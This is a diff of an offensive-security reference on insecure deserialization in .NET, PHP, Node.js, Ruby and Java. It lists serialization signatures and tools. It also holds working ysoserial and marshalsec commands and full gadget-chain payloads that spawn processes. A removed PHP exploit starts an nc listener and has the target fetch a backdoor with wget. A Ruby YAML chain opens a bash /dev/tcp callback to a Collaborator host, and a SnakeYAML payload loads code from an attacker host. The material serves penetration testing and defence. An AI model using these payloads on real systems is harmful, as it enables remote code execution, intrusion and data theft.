* [JSON.NET](#jsonnet)
|
||||||
|
* [BinaryFormatter](#binaryformatter)
|
||||||
|
* [POP Gadgets](#pop-gadgets)
|
||||||
|
* [References](#references)
|
||||||
|
|
||||||
|
|
||||||
|
## Detection
|
||||||
|
|
||||||
|
| Data | Description |
|
||||||
|
| -------------- | ------------------- |
|
||||||
|
| `AAEAAD` (Hex) | .NET BinaryFormatter |
|
||||||
|
| `FF01` (Hex) | .NET ViewState |
|
||||||
|
| `/w` (Base64) | .NET ViewState |
|
||||||
|
|
||||||
|
Example: `AAEAAAD/////AQAAAAAAAAAMAgAAAF9TeXN0ZW0u[...]0KPC9PYmpzPgs=`
|
||||||
|
|
||||||
|
|
||||||
|
## Tools
|
||||||
|
|
||||||
|
* [pwntester/ysoserial.net - Deserialization payload generator for a variety of .NET formatters](https://github.com/pwntester/ysoserial.net)
|
||||||
|
```ps1
|
||||||
|
$ cat my_long_cmd.txt | ysoserial.exe -o raw -g WindowsIdentity -f Json.Net -s
|
||||||
|
$ ./ysoserial.exe -p DotNetNuke -m read_file -f win.ini
|
||||||
|
$ ./ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t
|
||||||
|
$ ./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
|
||||||
|
```
|
||||||
|
|
||||||
|
## Formatters
|
||||||
|
|
||||||
|

|
||||||
|
.NET Native Formatters from [pwntester/attacking-net-serialization](https://speakerdeck.com/pwntester/attacking-net-serialization?slide=15)
|
||||||
|
|
||||||
|
|
||||||
|
### XmlSerializer
|
||||||
|
|
||||||
|
* In C# source code, look for `XmlSerializer(typeof(<TYPE>));`.
|
||||||
|
* The attacker must control the **type** of the XmlSerializer.
|
||||||
|
* Payload output: **XML**
|
||||||
|
|
||||||
|
```xml
|
||||||
|
.\ysoserial.exe -g ObjectDataProvider -f XmlSerializer -c "calc.exe"
|
||||||
|
<?xml version="1.0"?>
|
||||||
|
<root type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
|
||||||
|
<ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" >
|
||||||
|
<ExpandedElement/>
|
||||||
|
<ProjectedProperty0>
|
||||||
|
<MethodName>Parse</MethodName>
|
||||||
|
<MethodParameters>
|
||||||
|
<anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">
|
||||||
|
<![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><b:String>cmd</b:String><b:String>/c calc.exe</b:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]>
|
||||||
|
</anyType>
|
||||||
|
</MethodParameters>
|
||||||
|
<ObjectInstance xsi:type="XamlReader"></ObjectInstance>
|
||||||
|
</ProjectedProperty0>
|
||||||
|
</ExpandedWrapperOfXamlReaderObjectDataProvider>
|
||||||
|
</root>
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### DataContractSerializer
|
||||||
|
|
||||||
|
> The DataContractSerializer deserializes in a loosely coupled way. It never reads common language runtime (CLR) type and assembly names from the incoming data. The security model for the XmlSerializer is similar to that of the DataContractSerializer, and differs mostly in details. For example, the XmlIncludeAttribute attribute is used for type inclusion instead of the KnownTypeAttribute attribute.
|
||||||
|
|
||||||
|
* In C# source code, look for `DataContractSerializer(typeof(<TYPE>))`.
|
||||||
|
* Payload output: **XML**
|
||||||
|
* Data **Type** must be user-controlled to be exploitable
|
||||||
|
|
||||||
|
|
||||||
|
### NetDataContractSerializer
|
||||||
|
|
||||||
|
> It extends the `System.Runtime.Serialization.XmlObjectSerializer` class and is capable of serializing any type annotated with serializable attribute as `BinaryFormatter`.
|
||||||
|
|
||||||
|
* In C# source code, look for `NetDataContractSerializer().ReadObject()`.
|
||||||
|
* Payload output: **XML**
|
||||||
|
|
||||||
|
```ps1
|
||||||
|
.\ysoserial.exe -f NetDataContractSerializer -g TypeConfuseDelegate -c "calc.exe" -o base64 -t
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### LosFormatter
|
||||||
|
|
||||||
|
* Use `BinaryFormatter` internally.
|
||||||
|
|
||||||
|
```ps1
|
||||||
|
.\ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -c "calc.exe" -o base64 -t
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### JSON.NET
|
||||||
|
|
||||||
|
* In C# source code, look for `JsonConvert.DeserializeObject<Expected>(json, new JsonSerializerSettings`.
|
||||||
|
* Payload output: **JSON**
|
||||||
|
|
||||||
|
```ps1
|
||||||
|
.\ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc.exe" -t
|
||||||
|
{
|
||||||
|
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
|
||||||
|
'MethodName':'Start',
|
||||||
|
'MethodParameters':{
|
||||||
|
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
|
||||||
|
'$values':['cmd', '/c calc.exe']
|
||||||
|
},
|
||||||
|
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### BinaryFormatter
|
||||||
|
|
||||||
|
> The BinaryFormatter type is dangerous and is not recommended for data processing. Applications should stop using BinaryFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. BinaryFormatter is insecure and can’t be made secure.
|
||||||
|
|
||||||
|
* In C# source code, look for `System.Runtime.Serialization.Binary.BinaryFormatter`.
|
||||||
|
* Exploitation requires `[Serializable]` or `ISerializable` interface.
|
||||||
|
* Payload output: **Binary**
|
||||||
|
|
||||||
|
|
||||||
|
```ps1
|
||||||
|
./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## POP Gadgets
|
||||||
|
|
||||||
|
These gadgets must have the following properties:
|
||||||
|
|
||||||
|
* Serializable
|
||||||
|
* Public/settable variables
|
||||||
|
* Magic "functions": Get/Set, OnSerialisation, Constructors/Destructors
|
||||||
|
|
||||||
|
You must carefully select your **gadgets** for a targeted **formatter**.
|
||||||
|
|
||||||
|
|
||||||
|
List of popular gadgets used in common payloads.
|
||||||
|
* **ObjectDataProvider** from `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll`
|
||||||
|
* Use `MethodParameters` to set arbitrary parameters
|
||||||
|
* Use `MethodName` to call an arbitrary function
|
||||||
|
* **ExpandedWrapper**
|
||||||
|
* Specify the `object types` of the objects that are encapsulated
|
||||||
|
```cs
|
||||||
|
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
|
||||||
|
```
|
||||||
|
* **System.Configuration.Install.AssemblyInstaller**
|
||||||
|
* Execute payload with Assembly.Load
|
||||||
|
```cs
|
||||||
|
// System.Configuration.Install.AssemblyInstaller
|
||||||
|
public void set_Path(string value){
|
||||||
|
if (value == null){
|
||||||
|
this.assembly = null;
|
||||||
|
}
|
||||||
|
this.assembly = Assembly.LoadFrom(value);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- [ARE YOU MY TYPE? Breaking .NET sandboxes through Serialization - Slides - James Forshaw - September 20, 2012](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_Slides.pdf)
|
||||||
|
- [ARE YOU MY TYPE? Breaking .NET sandboxes through Serialization - White Paper - James Forshaw - September 20, 2012](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
|
||||||
|
- [Attacking .NET Deserialization - Alvaro Muñoz - April 28, 2018](https://youtu.be/eDfGpu3iE4Q)
|
||||||
|
- [Attacking .NET Serialization - Alvaro - October 20, 2017](https://speakerdeck.com/pwntester/attacking-net-serialization?slide=11)
|
||||||
|
- [Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net) - HackTricks - July 18, 2024](https://book.hacktricks.xyz/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net)
|
||||||
|
- [Bypassing .NET Serialization Binders - Markus Wulftange - June 28, 2022](https://codewhitesec.blogspot.com/2022/06/bypassing-dotnet-serialization-binders.html)
|
||||||
|
- [Exploiting Deserialisation in ASP.NET via ViewState - Soroush Dalili (@irsdl) - April 23, 2019](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||||
|
- [Finding a New DataContractSerializer RCE Gadget Chain - dugisec - November 7, 2019](https://muffsec.com/blog/finding-a-new-datacontractserializer-rce-gadget-chain/)
|
||||||
|
- [Friday the 13th: JSON Attacks - DEF CON 25 Conference - Alvaro Muñoz (@pwntester) and Oleksandr Mirosh - July 22, 2017](https://www.youtube.com/watch?v=ZBfBYoK_Wr0)
|
||||||
|
- [Friday the 13th: JSON Attacks - Slides - Alvaro Muñoz (@pwntester) and Oleksandr Mirosh - July 22, 2017](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||||
|
- [Friday the 13th: JSON Attacks - White Paper - Alvaro Muñoz (@pwntester) and Oleksandr Mirosh - July 22, 2017](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)
|
||||||
|
- [Now You Serial, Now You Don't - Systematically Hunting for Deserialization Exploits - Alyssa Rahman - December 13, 2021](https://www.mandiant.com/resources/blog/hunting-deserialization-exploits)
|
||||||
|
- [Sitecore Experience Platform Pre-Auth RCE - CVE-2021-42237 - Shubham Shah - November 2, 2021](https://blog.assetnote.io/2021/11/02/sitecore-rce/)
|
||||||
@@ -1,32 +0,0 @@
|
|||||||
<?php
|
|
||||||
/*
|
|
||||||
PHP Object Injection PoC Exploit by 1N3 @CrowdShield - https://crowdshield.com
|
|
||||||
|
|
||||||
A simple PoC to exploit PHP Object Injections flaws and gain remote shell access.
|
|
||||||
|
|
||||||
Shouts to @jstnkndy @yappare for the assist!
|
|
||||||
|
|
||||||
NOTE: This requires http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz setup on a remote host with a connect back IP configured
|
|
||||||
*/
|
|
||||||
|
|
||||||
print "==============================================================================\r\n";
|
|
||||||
print "PHP Object Injection PoC Exploit by 1N3 @CrowdShield - https://crowdshield.com\r\n";
|
|
||||||
print "==============================================================================\r\n";
|
|
||||||
print "[+] Generating serialized payload...[OK]\r\n";
|
|
||||||
print "[+] Launching reverse listener...[OK]\r\n";
|
|
||||||
system('gnome-terminal -x sh -c \'nc -lvvp 4242\'');
|
|
||||||
|
|
||||||
class PHPObjectInjection
|
|
||||||
{
|
|
||||||
// CHANGE URL/FILENAME TO MATCH YOUR SETUP
|
|
||||||
public $inject = "system('wget http://127.0.0.1/backdoor.txt -O phpobjbackdoor.php && php phpobjbackdoor.php');";
|
|
||||||
}
|
|
||||||
|
|
||||||
$url = 'http://localhost/xvwa/vulnerabilities/php_object_injection/?r='; // CHANGE TO TARGET URL/PARAMETER
|
|
||||||
$url = $url . urlencode(serialize(new PHPObjectInjection));
|
|
||||||
print "[+] Sending exploit...[OK]\r\n";
|
|
||||||
print "[+] Dropping down to interactive shell...[OK]\r\n";
|
|
||||||
print "==============================================================================\r\n";
|
|
||||||
$response = file_get_contents("$url");
|
|
||||||
|
|
||||||
?>
|
|
||||||
5
Insecure Deserialization/Files/node-serialize.js
Normal file
5
Insecure Deserialization/Files/node-serialize.js
Normal file
@@ -0,0 +1,5 @@
|
|||||||
|
var y = {
|
||||||
|
rce : function(){require('child_process').exec('ls /', function(error,stdout, stderr) { console.log(stdout) });},
|
||||||
|
}
|
||||||
|
var serialize = require('node-serialize');
|
||||||
|
console.log("Serialized: \n" + serialize.serialize(y));
|
||||||
19
Insecure Deserialization/Files/ruby-serialize.yaml
Normal file
19
Insecure Deserialization/Files/ruby-serialize.yaml
Normal file
@@ -0,0 +1,19 @@
|
|||||||
|
---
|
||||||
|
- !ruby/object:Gem::Installer
|
||||||
|
i: x
|
||||||
|
- !ruby/object:Gem::SpecFetcher
|
||||||
|
i: y
|
||||||
|
- !ruby/object:Gem::Requirement
|
||||||
|
requirements:
|
||||||
|
!ruby/object:Gem::Package::TarReader
|
||||||
|
io: &1 !ruby/object:Net::BufferedIO
|
||||||
|
io: &1 !ruby/object:Gem::Package::TarReader::Entry
|
||||||
|
read: 0
|
||||||
|
header: "abc"
|
||||||
|
debug_output: &1 !ruby/object:Net::WriteAdapter
|
||||||
|
socket: &1 !ruby/object:Gem::RequestSet
|
||||||
|
sets: !ruby/object:Net::WriteAdapter
|
||||||
|
socket: !ruby/module 'Kernel'
|
||||||
|
method_id: :system
|
||||||
|
git_set: "bash -c 'echo 1 > /dev/tcp/`whoami`.`hostname`.wkkib01k9lsnq9qm2pogo10tmksagz.burpcollaborator.net/443'"
|
||||||
|
method_id: :resolve
|
||||||
BIN
Insecure Deserialization/Images/NETNativeFormatters.png
Executable file
BIN
Insecure Deserialization/Images/NETNativeFormatters.png
Executable file
Binary file not shown.
|
After Width: | Height: | Size: 278 KiB |
@@ -1,108 +1,228 @@
|
|||||||
# Java Deserialization
|
# Java Deserialization
|
||||||
|
|
||||||
|
> Java serialization is the process of converting a Java object’s state into a byte stream, which can be stored or transmitted and later reconstructed (deserialized) back into the original object. Serialization in Java is primarily done using the `Serializable` interface, which marks a class as serializable, allowing it to be saved to files, sent over a network, or transferred between JVMs.
|
||||||
|
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
* [Detection](#detection)
|
||||||
|
* [Tools](#tools)
|
||||||
|
* [Ysoserial](#ysoserial)
|
||||||
|
* [Burp extensions using ysoserial](#burp-extensionsl)
|
||||||
|
* [Alternative Tooling](#alternative-tooling)
|
||||||
|
* [YAML Deserialization](#yaml-deserialization)
|
||||||
|
* [ViewState](#viewstate)
|
||||||
|
* [References](#references)
|
||||||
|
|
||||||
|
|
||||||
## Detection
|
## Detection
|
||||||
|
|
||||||
- "AC ED 00 05" in Hex
|
- `"AC ED 00 05"` in Hex
|
||||||
- "rO0" in Base64
|
* `AC ED`: STREAM_MAGIC. Specifies that this is a serialization protocol.
|
||||||
- Content-type = "application/x-java-serialized-object"
|
* `00 05`: STREAM_VERSION. The serialization version.
|
||||||
- "H4sIAAAAAAAAAJ" in gzip(base64)
|
- `"rO0"` in Base64
|
||||||
|
- `Content-Type` = "application/x-java-serialized-object"
|
||||||
|
- `"H4sIAAAAAAAAAJ"` in gzip(base64)
|
||||||
|
|
||||||
## Exploit
|
|
||||||
|
|
||||||
[ysoserial](https://github.com/frohoff/ysoserial) : A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
|
## Tools
|
||||||
|
|
||||||
|
### Ysoserial
|
||||||
|
|
||||||
|
[frohoff/ysoserial](https://github.com/frohoff/ysoserial) : A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
|
||||||
|
|
||||||
```java
|
```java
|
||||||
java -jar ysoserial.jar CommonsCollections1 calc.exe > commonpayload.bin
|
java -jar ysoserial.jar CommonsCollections1 calc.exe > commonpayload.bin
|
||||||
java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
|
java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
|
||||||
java -jar ysoserial-master-v0.0.4-g35bce8f-67.jar Groovy1 'ping 127.0.0.1' > payload.bin
|
java -jar ysoserial.jar Groovy1 'ping 127.0.0.1' > payload.bin
|
||||||
java -jar ysoserial.jar Jdk7u21 bash -c 'nslookup `uname`.[redacted]' | gzip | base64
|
java -jar ysoserial.jar Jdk7u21 bash -c 'nslookup `uname`.[redacted]' | gzip | base64
|
||||||
```
|
```
|
||||||
|
|
||||||
payload | author | dependencies | impact (if not RCE)
|
**List of payloads included in ysoserial:**
|
||||||
------|--------|------ |------
|
|
||||||
BeanShell1 |@pwntester, @cschneider4711 |bsh:2.0b5
|
|
||||||
C3P0 |@mbechler |c3p0:0.9.5.2, mchange-commons-java:0.2.11
|
|
||||||
Clojure |@JackOfMostTrades |clojure:1.8.0
|
|
||||||
CommonsBeanutils1 |@frohoff |commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
|
|
||||||
CommonsCollections1 |@frohoff |commons-collections:3.1
|
|
||||||
CommonsCollections2 |@frohoff |commons-collections4:4.0
|
|
||||||
CommonsCollections3 |@frohoff |commons-collections:3.1
|
|
||||||
CommonsCollections4 |@frohoff |commons-collections4:4.0
|
|
||||||
CommonsCollections5 |@matthias_kaiser, @jasinner |commons-collections:3.1
|
|
||||||
CommonsCollections6 |@matthias_kaiser |commons-collections:3.1
|
|
||||||
FileUpload1 |@mbechler |commons-fileupload:1.3.1, commons-io:2.4 | file uploading
|
|
||||||
Groovy1 |@frohoff |groovy:2.3.9
|
|
||||||
Hibernate1 |@mbechler|
|
|
||||||
Hibernate2 |@mbechler|
|
|
||||||
JBossInterceptors1 |@matthias_kaiser |javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
|
|
||||||
JRMPClient |@mbechler|
|
|
||||||
JRMPListener |@mbechler|
|
|
||||||
JSON1 |@mbechler |json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
|
|
||||||
JavassistWeld1 |@matthias_kaiser |javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
|
|
||||||
Jdk7u21 |@frohoff|
|
|
||||||
Jython1 |@pwntester, @cschneider4711 |jython-standalone:2.5.2
|
|
||||||
MozillaRhino1 |@matthias_kaiser |js:1.7R2
|
|
||||||
Myfaces1 |@mbechler|
|
|
||||||
Myfaces2 |@mbechler|
|
|
||||||
ROME |@mbechler |rome:1.0
|
|
||||||
Spring1 |@frohoff |spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
|
|
||||||
Spring2 |@mbechler |spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
|
|
||||||
URLDNS |@gebl| | jre only vuln detect
|
|
||||||
Wicket1 |@jacob-baines |wicket-util:6.23.0, slf4j-api:1.6.4
|
|
||||||
|
|
||||||
## Burp extensions using ysoserial
|
| Payload | Authors | Dependencies |
|
||||||
|
| ------------------- | -------------------------------------- | --- |
|
||||||
|
| AspectJWeaver | @Jang | aspectjweaver:1.9.2, commons-collections:3.2.2 |
|
||||||
|
| BeanShell1 | @pwntester, @cschneider4711 | bsh:2.0b5 |
|
||||||
|
| C3P0 | @mbechler | c3p0:0.9.5.2, mchange-commons-java:0.2.11 |
|
||||||
|
| Click1 | @artsploit | click-nodeps:2.3.0, javax.servlet-api:3.1.0 |
|
||||||
|
| Clojure | @JackOfMostTrades | clojure:1.8.0 |
|
||||||
|
| CommonsBeanutils1 | @frohoff | commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2 |
|
||||||
|
| CommonsCollections1 | @frohoff | commons-collections:3.1 |
|
||||||
|
| CommonsCollections2 | @frohoff | commons-collections4:4.0 |
|
||||||
|
| CommonsCollections3 | @frohoff | commons-collections:3.1 |
|
||||||
|
| CommonsCollections4 | @frohoff | commons-collections4:4.0 |
|
||||||
|
| CommonsCollections5 | @matthias_kaiser, @jasinner | commons-collections:3.1 |
|
||||||
|
| CommonsCollections6 | @matthias_kaiser | commons-collections:3.1 |
|
||||||
|
| CommonsCollections7 | @scristalli, @hanyrax, @EdoardoVignati | commons-collections:3.1 |
|
||||||
|
| FileUpload1 | @mbechler | commons-fileupload:1.3.1, commons-io:2.4|
|
||||||
|
| Groovy1 | @frohoff | groovy:2.3.9 |
|
||||||
|
| Hibernate1 | @mbechler | |
|
||||||
|
| Hibernate2 | @mbechler | |
|
||||||
|
| JBossInterceptors1 | @matthias_kaiser | javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 |
|
||||||
|
| JRMPClient | @mbechler | |
|
||||||
|
| JRMPListener | @mbechler | |
|
||||||
|
| JSON1 | @mbechler | json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1 |
|
||||||
|
| JavassistWeld1 | @matthias_kaiser | javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 |
|
||||||
|
| Jdk7u21 | @frohoff | |
|
||||||
|
| Jython1 | @pwntester, @cschneider4711 | jython-standalone:2.5.2 |
|
||||||
|
| MozillaRhino1 | @matthias_kaiser | js:1.7R2 |
|
||||||
|
| MozillaRhino2 | @_tint0 | js:1.7R2 |
|
||||||
|
| Myfaces1 | @mbechler | |
|
||||||
|
| Myfaces2 | @mbechler | |
|
||||||
|
| ROME | @mbechler | rome:1.0 |
|
||||||
|
| Spring1 | @frohoff | spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE |
|
||||||
|
| Spring2 | @mbechler | spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2 |
|
||||||
|
| URLDNS | @gebl | |
|
||||||
|
| Vaadin1 | @kai_ullrich | vaadin-server:7.7.14, vaadin-shared:7.7.14 |
|
||||||
|
| Wicket1 | @jacob-baines | wicket-util:6.23.0, slf4j-api:1.6.4 |
|
||||||
|
|
||||||
- [JavaSerialKiller](https://github.com/NetSPI/JavaSerialKiller)
|
|
||||||
- [Java Deserialization Scanner](https://github.com/federicodotta/Java-Deserialization-Scanner)
|
|
||||||
- [Burp-ysoserial](https://github.com/summitt/burp-ysoserial)
|
|
||||||
- [SuperSerial](https://github.com/DirectDefense/SuperSerial)
|
|
||||||
- [SuperSerial-Active](https://github.com/DirectDefense/SuperSerial-Active)
|
|
||||||
|
|
||||||
## Other tools
|
### Burp extensions
|
||||||
|
|
||||||
- [JRE8u20_RCE_Gadget](https://github.com/pwntester/JRE8u20_RCE_Gadget)
|
- [NetSPI/JavaSerialKiller](https://github.com/NetSPI/JavaSerialKiller) - Burp extension to perform Java Deserialization Attacks
|
||||||
- [JexBoss](https://github.com/joaomatosf/jexboss) - JBoss (and others Java Deserialization Vulnerabilities) verify and EXploitation Tool
|
- [federicodotta/Java Deserialization Scanner](https://github.com/federicodotta/Java-Deserialization-Scanner) - All-in-one plugin for Burp Suite for the detection and the exploitation of Java deserialization vulnerabilities
|
||||||
- [ysoserial-modified](https://github.com/pimps/ysoserial-modified)
|
- [summitt/burp-ysoserial](https://github.com/summitt/burp-ysoserial) - YSOSERIAL Integration with Burp Suite
|
||||||
- [gadgetprobe](https://labs.bishopfox.com/gadgetprobe)
|
- [DirectDefense/SuperSerial](https://github.com/DirectDefense/SuperSerial) - Burp Java Deserialization Vulnerability Identification
|
||||||
- [marshalsec](https://github.com/mbechler/marshalsec) - Turning your data into code execution
|
- [DirectDefense/SuperSerial-Active](https://github.com/DirectDefense/SuperSerial-Active) - Java Deserialization Vulnerability Active Identification Burp Extender
|
||||||
|
|
||||||
```java
|
|
||||||
java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
|
|
||||||
|
|
||||||
where
|
### Alternative Tooling
|
||||||
-a - generates/tests all payloads for that marshaller
|
|
||||||
-t - runs in test mode, unmarshalling the generated payloads after generating them.
|
- [pwntester/JRE8u20_RCE_Gadget](https://github.com/pwntester/JRE8u20_RCE_Gadget) - Pure JRE 8 RCE Deserialization gadget
|
||||||
-v - verbose mode, e.g. also shows the generated payload in test mode.
|
- [joaomatosf/JexBoss](https://github.com/joaomatosf/jexboss) - JBoss (and others Java Deserialization Vulnerabilities) verify and EXploitation Tool
|
||||||
gadget_type - Identifier of a specific gadget, if left out will display the available ones for that specific marshaller.
|
- [pimps/ysoserial-modified](https://github.com/pimps/ysoserial-modified) - A fork of the original ysoserial application
|
||||||
arguments - Gadget specific arguments
|
- [NickstaDB/SerialBrute](https://github.com/NickstaDB/SerialBrute) - Java serialization brute force attack tool
|
||||||
|
- [NickstaDB/SerializationDumper](https://github.com/NickstaDB/SerializationDumper) - A tool to dump Java serialization streams in a more human readable form
|
||||||
|
- [bishopfox/gadgetprobe](https://labs.bishopfox.com/gadgetprobe) - Exploiting Deserialization to Brute-Force the Remote Classpath
|
||||||
|
- [k3idii/Deserek](https://github.com/k3idii/Deserek) - Python code to Serialize and Unserialize java binary serialization format.
|
||||||
|
```java
|
||||||
|
java -jar ysoserial.jar URLDNS http://xx.yy > yss_base.bin
|
||||||
|
python deserek.py yss_base.bin --format python > yss_url.py
|
||||||
|
python yss_url.py yss_new.bin
|
||||||
|
java -cp JavaSerializationTestSuite DeSerial yss_new.bin
|
||||||
|
```
|
||||||
|
- [mbechler/marshalsec](https://github.com/mbechler/marshalsec) - Java Unmarshaller Security - Turning your data into code execution
|
||||||
|
```java
|
||||||
|
$ java -cp marshalsec.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
|
||||||
|
$ java -cp marshalsec.jar marshalsec.JsonIO Groovy "cmd" "/c" "calc"
|
||||||
|
$ java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://localhost:8000\#exploit.JNDIExploit 1389
|
||||||
|
// -a - generates/tests all payloads for that marshaller
|
||||||
|
// -t - runs in test mode, unmarshalling the generated payloads after generating them.
|
||||||
|
// -v - verbose mode, e.g. also shows the generated payload in test mode.
|
||||||
|
// gadget_type - Identifier of a specific gadget, if left out will display the available ones for that specific marshaller.
|
||||||
|
// arguments - Gadget specific arguments
|
||||||
|
```
|
||||||
|
|
||||||
|
Payload generators for the following marshallers are included:
|
||||||
|
|
||||||
|
| Marshaller | Gadget Impact |
|
||||||
|
| ------------------------------- | ---------------------------------------------- |
|
||||||
|
| BlazeDSAMF(0|3|X) | JDK only escalation to Java serialization various third party libraries RCEs |
|
||||||
|
| Hessian|Burlap | various third party RCEs |
|
||||||
|
| Castor | dependency library RCE |
|
||||||
|
| Jackson | **possible JDK only RCE**, various third party RCEs |
|
||||||
|
| Java | yet another third party RCE |
|
||||||
|
| JsonIO | **JDK only RCE** |
|
||||||
|
| JYAML | **JDK only RCE** |
|
||||||
|
| Kryo | third party RCEs |
|
||||||
|
| KryoAltStrategy | **JDK only RCE** |
|
||||||
|
| Red5AMF(0|3) | **JDK only RCE** |
|
||||||
|
| SnakeYAML | **JDK only RCEs** |
|
||||||
|
| XStream | **JDK only RCEs** |
|
||||||
|
| YAMLBeans | third party RCE |
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## YAML Deserialization
|
||||||
|
|
||||||
|
SnakeYAML is a popular Java-based library used for parsing and emitting YAML (YAML Ain't Markup Language) data. It provides an easy-to-use API for working with YAML, a human-readable data serialization standard commonly used for configuration files and data exchange.
|
||||||
|
|
||||||
|
```yaml
|
||||||
|
!!javax.script.ScriptEngineManager [
|
||||||
|
!!java.net.URLClassLoader [[
|
||||||
|
!!java.net.URL ["http://attacker-ip/"]
|
||||||
|
]]
|
||||||
|
]
|
||||||
```
|
```
|
||||||
|
|
||||||
Payload generators for the following marshallers are included:<br />
|
|
||||||
|
|
||||||
| Marshaller | Gadget Impact
|
## ViewState
|
||||||
| ------------------------------- | ----------------------------------------------
|
|
||||||
| BlazeDSAMF(0|3|X) | JDK only escalation to Java serialization<br/>various third party libraries RCEs
|
In Java, ViewState refers to the mechanism used by frameworks like JavaServer Faces (JSF) to maintain the state of UI components between HTTP requests in web applications. There are 2 major implementations:
|
||||||
| Hessian|Burlap | various third party RCEs
|
|
||||||
| Castor | dependency library RCE
|
* Oracle Mojarra (JSF reference implementation)
|
||||||
| Jackson | **possible JDK only RCE**, various third party RCEs
|
* Apache MyFaces
|
||||||
| Java | yet another third party RCE
|
|
||||||
| JsonIO | **JDK only RCE**
|
**Tools**:
|
||||||
| JYAML | **JDK only RCE**
|
|
||||||
| Kryo | third party RCEs
|
